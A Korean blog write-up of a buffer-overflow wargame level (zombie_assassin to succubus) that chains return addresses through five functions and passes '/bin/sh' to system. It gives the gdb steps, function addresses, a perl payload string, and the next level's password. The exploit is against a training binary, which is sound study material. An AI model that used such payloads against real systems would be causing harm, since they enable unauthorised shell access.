심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (zombie_assassin -> succubus )

1. 취약점


메인 함수와 5개의 서브함수가 있다. (도, 개, 걸, 윷, 모.. 첨엔 뭔가 싶었다.)

메인 함수에는 Return Address부터 + 100byte 구간을 제외하고 전부 다 0으로 초기화 시켜버린다.

그리고 문제 중간에 공유 라이브러리를 더 이상 사용할 수 없게 막아둔 구역도 있다.

도->개->걸->윷->모 순서 대로 진행 할 수 있으며 모는 system 함수와 매개 변수를 입력 할 수 있다.

무슨 수를 써야 모로 이동할 수 있을까?

 

1. main의 return address를 DO()의 주소로 한다. 그러면 main()이 종료한 후에 DO()가 수행한다.

2. 똑같이 개->걸->윷->모 순으로 return address를 사용한다.

3. MO는 매개변수를 이용할 수 있다. call은 내부적으로 push eip + jip eip 동작을 수행하므로 스택의 크기가      4만큼 늘어난다 따라서 중간에 Dummy 4바이트를 넣어주고 "/bin/sh"의 주소를 그다음에 넣어준다.  


따라서 우리는 도, 개, 걸, 윷, 모의 주소를 알아야 한다.

$ bash2

$ gcc -g -o succubu1  succubus.c

$ gdb -q succubu1

(gdb) print DO

(gdb) print GYE

(gdb) print GUL

(gdb) print YUT

(gdb) print MO



DO()의 주소 : 0x080487ec

GYE()의 주소 : 0x080487bc 

GUL()의 주소 : 0x0804878c

YUT()의 주소 : 0x0804875c

MO()의 주소 : 0x08048724


이제 버퍼의 크기를 알아보자. 소스 코드에 printf("%p\n", buffer)를 추가한다.

$ cp ./succubus.c ./succubsu.c

$ vi ./succubsu.c 

$ gcc -o succubsu succubsu.c
$ ./succubsu `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`



빨간 네모가 buffer의 주소다 우리는 Dummy 44byte + 도,개,걸,윷,모(4*5byte) + dummy 4byte + &ptr (4byte) = 총 72바이트 뒤에 "/bin/sh"가 위치한다 따라서 0xbffffac8가 "/bin/sh"의 주소이다.



2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./succubus  `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`


2. 결과

id :  succubus  passwd : here to stay

 

,